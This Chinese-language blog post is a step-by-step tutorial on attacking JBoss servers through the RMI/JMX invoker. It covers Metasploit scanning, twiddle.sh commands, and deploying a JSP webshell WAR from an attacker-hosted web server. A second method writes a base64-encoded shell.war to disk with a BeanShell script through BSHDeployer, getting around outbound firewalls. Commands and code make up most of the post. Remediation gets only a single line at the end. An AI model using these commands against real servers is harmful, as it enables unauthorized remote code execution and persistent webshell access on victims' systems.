早上起床打開微博看到空虛浪子心大神發的一篇有關Jboss漏洞的文章,對我等菜鳥來說那邊文章看起來還是很吃力的,所以查了查國內外的資料,翻譯寫了這邊文章,記錄一下。
在JBoss服務器上部署web應用程序,有很多不同的方式,諸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等。
本文主要是關於RMI遠程方法調用漏洞的,其它幾種部署方式比如JMX Console,也是會有漏洞的,主要看JBoss服務器的配置是否正確嚴謹。之前也有一篇關於JMX Console漏洞利用的。有興趣可以在本站搜索一下,言歸正傳:
Metasploit有很多的模塊針對不同的JBOSS漏洞,其中有 jboss_vulnscan模塊,路徑為:auxiliary/scanner/http/jboss_vulnscan, 通過該模塊可以進行JBoss服務器漏洞掃描,可以探測是否有開放4444,1098,1099端口。當然也可以使用Nmap批量掃描某個網段是否有開放1099,1098或4444端口。如下:
1
2
3
4
5
6
7
8
9
|
[+] 192.168.0.35:443 /invoker/JMXInvokerServlet does
not
require authentication (200)
[*] 192.168.0.35:443 Checking services...
[*] 192.168.0.35:443 Naming Service tcp/1098:
open
[*] 192.168.0.35:443 Naming Service tcp/1099:
open
[*] 192.168.0.35:443 RMI invoker tcp/4444:
open
|
可以看到RMI默認端口4444是開啟的,JNDI(Java Naming and Directory Interface)默認端口也是1098,1099也是開啟的。有關JNDI的解釋可以百度。
為了和遠程目標JBoss服務器進行交互,需要在本地安裝Jboss AS(如:JBoss – 4.2.3.GA ),使用其中bin目錄下的twiddle和Jboss進行交互,在linux下使用用twiddle.sh,在windows下使用twiddle.bat,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ sh jboss-4.2.3.GA
/bin/twiddle
.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <
command
> [command_arguments]
options:
-h, --help Show this help message
--help-commands Show a list of commands
-H=<
command
> Show
command
specific help
-c=
command
.properties Specify the
command
.properties
file
to use
-D<name>[=<value>] Set a system property
-- Stop procession options
-s, --server=<url> The JNDI URL of the remote server
-a, --adapter=<name> The JNDI name of the RMI adapter to user
-u, --user=<name> Specify the username
for
authentication
-p, --password=<name> Specify the password
for
authentication
-q, --quiet Be somewhat
more
quiet
|
獲取遠程目標JBoss服務器的系統信息,用如下命令:
1
2
3
4
5
|
root@bt:
/pentest/web/jboss/jboss-4
.2.1.GA
/bin
# ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo"
HostAddress=192.168.0.35
......
JavaVersion=1.5.0_13
MaxMemory=266600448
|
為了獲取更高的權限,可以給JBoss服務器部署我們的webshell,創建一個war文件,可以使用Myeclipse來構建一個包含webshell的war,方法如下:
1、打開Myeclipse新建Web項目
2、把jsp放到WebRoot目錄下
3、導出項目為war文件
構建好包含webshell的war之后,可以使用twiddle將該war部署的目標jboss服務器上,首先需要將war放到一個web服務器,可以使用twistd快速搭建一個web,如下:
1
2
3
4
5
|
root@bt:
/pentest/web/jboss/fns
# ls
getshell.war
root@bt:
/pentest/web/jboss/fns
# twistd -n --path=. --port=80
|
部署war到Jboss服務器,命令如下:
1
|
root@bt:
/pentest/web/jboss/jboss-4
.2.1.GA
/bin
# ./twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/getshell.war
|
執行之后就會在jboss服務器上部署好我們的webshell,路徑為:
http://192.168.0.35/getshell/customize.jsp
以上是一個使用RMI遠程方法調用漏洞入侵Jboss服務器的過程,以上的過程也是有前提條件的,最主要的是Jboss服務器需要允許訪問遠程的HTTP服務器,否則利用RMI是沒有辦法進行部署遠程war到JBOSS服務器。
然而在很多配置中,防火牆不允許JBoss服務器對外發出連接請求,如果遇到有防火牆的這種情況,可以使用BSHDeployer在目標Jboss服務器上執行任意的Beanshell來部署webshell。
BeanShell是一種運行在JRE上的腳本語言,該語言支持常規的Java語法。可以很快寫完,並且不需要編譯,JBoss服務器中BSHDeployer可以部署BeanShell腳本,它會安裝后自動執行。具體的步驟如下:
1,按照前文提到的方法,創建好包含jspshell的shell.war;
2,用linux下的base64命令生成shell.war的base64的表示,命令如下:
1
|
root@bt:~
#base64 -w 0 shell.war>>shell.war.base64
|
3,創建beanshell腳本,創建一個txt文檔,無需任何換行符,保存以下內容到該txt:
1
|
import
java.io.FileOutputStream;
import
sun.misc.BASE64Decoder; String val=
"shell.war的base64表示"
; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream(
"/temp/shell.war"
); fs,write(byteval); fs.close();
|
其中val變量中是shell.war文件的base64表示,如果目標Jboss服務器是windows的話目錄修改如:C:\WINDOWS\TEMP\shell.war,將txt重命名為:.bsh文件
4,使用前文中的bin/twiddle.sh工具將本地.bsh文件創建到遠程jboss服務器上,命令如下:
1
|
$ .
/jboss-4
.2.3.GA
/bin/twiddle
.sh -s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment
"‘cat deployer.bsh‘"
deployer.bsh
|
該命令執行完成之后會在遠程Jboss服務器生成shell.war,目錄為/temp/shell.war
5,然后繼續使用twiddle.sh將Jboss服務器上的shell.war進行部署,命令如下:
1
|
$ .
/jboss-4
.2.3.GA
/bin/twiddle
.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy
"/temp/shell.war"
|
目標Jboss服務器為windows的話命令如下:
1
|
$.
/jboss-4
.2.3.GA
/bin/twiddle
.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy
"file:C:/WINDOWS/TEMP/shell.war"
|
這樣就會就會將shell.war部署在目標jboss服務器上,其中有我們的jspshell,接下來你們懂的!
Jboss遠程方法調用漏洞修復建議引用空虛浪子心大嬸的文章內容:
把invoker刪除了,再把1099關閉就好。
PS:本文由阿德馬童鞋翻譯查找總結,轉載請注明出處,TKS!有部分不准確的地方也歡迎拍磚。